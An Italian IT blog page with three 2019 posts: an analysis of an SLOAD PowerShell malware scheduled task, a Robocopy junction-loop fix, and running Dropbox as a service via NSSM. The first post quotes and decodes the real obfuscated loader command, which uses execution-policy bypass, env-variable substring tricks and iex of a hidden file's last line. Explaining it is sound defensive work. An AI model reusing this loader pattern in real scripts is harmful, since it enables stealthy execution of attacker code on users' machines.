venerdì 26 luglio 2019

Malware in powershell - SLOAD Powershell threat


Oggi mi sono imbattuto in un virus che mi ha leggermente incuriosito.
Nel task manager era schedulato un job che esegue il seguente comando.
Il sintomo è che durante l'utilizzo del PC, ogni due minuti appariva un prompt dei comandi che eseguiva taskeng.

C:\Windows\system32\cmd.exe /c pow%tmp:~5,3%hell /ep bypass /win 1 /c "&{cd %public:~-15,9%;$y=ls -force -r -in comu*.*|select -last 1;$y=gc -LiteralPath $y|select -last 1;iex $y}"

Mi ha incuriosito perche di primo acchito non ho capito pressoché nulla, cosi ho pensato di tradurlo...

Chiariti un paio di dettagli diventa leggermente piu facile interpretarlo:

Parametri Powershell. E possible avviare powershell usando una serie di parametri. Nel nostro caso:

/ep bypass = imposta l'execution policy dello script in bypass per poter eseguire i comandi seguenti senza restrizioni (-ExecutionPolicy | -ex | -ep)

/win 1 = imposta la modalita della finestra windowstyle (Valid values are Normal, Minimized, Maximized and Hidden)

/c Esegue una comando

Molti comandi in powershell possono essere abbreviati usando degli alias:
ls = get-childitem
gc = get-content
iex = invoke-expression

Per visualizzare il contenuto di una variabile basta aprire un prompt dei comandi ed usare il comando echo.
ES:
echo %tmp:~5,3% = "ers" (leggi la variabile %tmp%, e di questa, partendo dal quinto carattere,
prendi i primi tre consecutivi.

%tmp% = C:\Users\xxxxxxx\AppData\Local\Temp
%tmp:~5,3% (leggi tre caratteri partendo dal quinto carattere della variabile %tmp%)

echo %public:~-15,9% = "C:\Users"

In sintesi il comando apre una powershell con permessi elevati e senza limitazioni ed esegue un comando scritto in un file

TRADUZIONE

C:\Windows\system32\cmd.exe /c = apri un prompt dei comandi ed esegui quanto segue

pow%tmp:~5,3%hell  =  dalla variabile %tmp% leggi tre caratteri partendo dal quinto. Corrisponde alla string "ers"
/c "&{cd %public:~-15,9%;$y=ls -force -r -in comu*.*|select -last 1;$y=gc -LiteralPath $y|select -last 1;iex $y}" (esegue un comando)

cd %public:~-15,9% = cd c:\Users
$y=ls -force -r -in comu*.*|select -last 1
  •   cerca nella cartella c:\users e rispettive sottocartelle tutti i file che iniziano per comu*.* e  seleziona l'ultimo

 $y=gc -LiteralPath $y|select -last 1
  • del file selezionato legge tutte le righe una ad una e seleziona l'ultima. Literlpath e' un parametro che  impedisce l'interpretazione   dei caratteri speciali.
                              ES: se %zzz% = "ciao"
                              No literal path c:\%zzz%mondo = c:\ciaomondo
                              Literal path c:\%zzz%mondo = c:\%zzz%mondo

iex $y

  • esegue il comando $y
Direi che manca ancora qualche pezzo da mettere insieme...


RIFERIMENTI
https://security.stackexchange.com/questions/213942/undetected-trojan-what-type-of-scheduled-task-is-this/213950
https://www.bleepingcomputer.com/forums/t/701329/undetected-trojan/
https://docs.microsoft.com/it-it/powershell/module/Microsoft.PowerShell.Core/About/about_pwsh?view=powershell-6
https://docs.microsoft.com/it-it/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1
https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/


martedì 16 luglio 2019

Esportazione shares

Export shares and restore by registry

https://support.microsoft.com/en-us/help/125996/saving-and-restoring-existing-windows-shares

script to export shares permission on files
https://gallery.technet.microsoft.com/scriptcenter/List-Share-Permissions-83f8c419

Spostamento file server - Robocopy bug

Durante lo spostamento di un file server usando Robocopy mi e' successa una cosa molto particolare.
Ho dimenticato di escludere la cartella "c:\documents and setting" e SOPRATTUTTO di usare il parametro /xj per escludere i junction point (o soft link). Sul disco di destinazione mi sono trovato una cartella d:\user che ripeteva all'infinito il proprio contenuto. Non era possibile cancellare il contenuto a mano.
in primo luogo ho pensato di resettare i permessi, poiche alcune cartelle non consentivano l'accesso. Risolto il problema dell'accesso alle sottocartelle bloccate, mi sono reso conto che contenevano le stesse cartelle all'infinito.
Per resettare i permessi di file system sulla cartella ho usato il comando:

icacls d:\a\* /reset /q /c /t

Dopodiche ho usato il comando PURGE di robocopy

robocopy d:\log d:\a /purge (ho forzato l'allineamento della cartella inciriminata con una vuota che non contiene junction point)

Forse ho trovato un bug di robocopy... o magari dovevo fare piu attenzione io?!?


Riferimenti
https://www.2brightsparks.com/resources/articles/NTFS-Hard-Links-Junctions-and-Symbolic-Links.pdf

lunedì 15 luglio 2019

DROPBOX AS A SERVICE

I software come Dropbox, Onedrive ecc. ecc. sono molto comodi, ma richiedono l'accesso con un utente. In alcuni e' possibile bypassare questo limite installandoli ed eseguendoli come servizio in Windows. Un software datato, ma molto conosciuto, e' SRVANY, del vecchio toolkit di Windows.
Nel mio caso ho usato NSSM (http://nssm.cc/). software carino e gratuito.
Usando tale software e' possibile avviare l'eseguibile di dropbox client come servizio. Occorre fare attenzione ad alcuni dettagli.

Disattivare l'avvio automatico di Dropbox:



Scaricare NSSM e copiarlo in una cartella a piacere (io ho scelto c:\program files). Aprire un prompt dei comandi ed avviare il comando nssm.exe -install. Si aprira la schermata sotto, in cui sara' necessario avere puntare l'eseguibile (c:\Program Files (x86)\Dropbox\Client\Dropbox.exe).



E premere installa. E' fondamentale eseguire il servizio nel contesto dell'utente in cui dropbox e' stato configurato. Inizialmente ho configurato tutto come local system e non funzionava la sincronizzazione. Dopo aver modificato l'utente con cui eseguire il servizio, tutto ha funzionato a dovere.

Riferimenti e ringraziamenti:
https://0sten.wordpress.com/daws_en/
https://www.coretechnologies.com/products/AlwaysUp/Apps/RunDropboxAsAService.html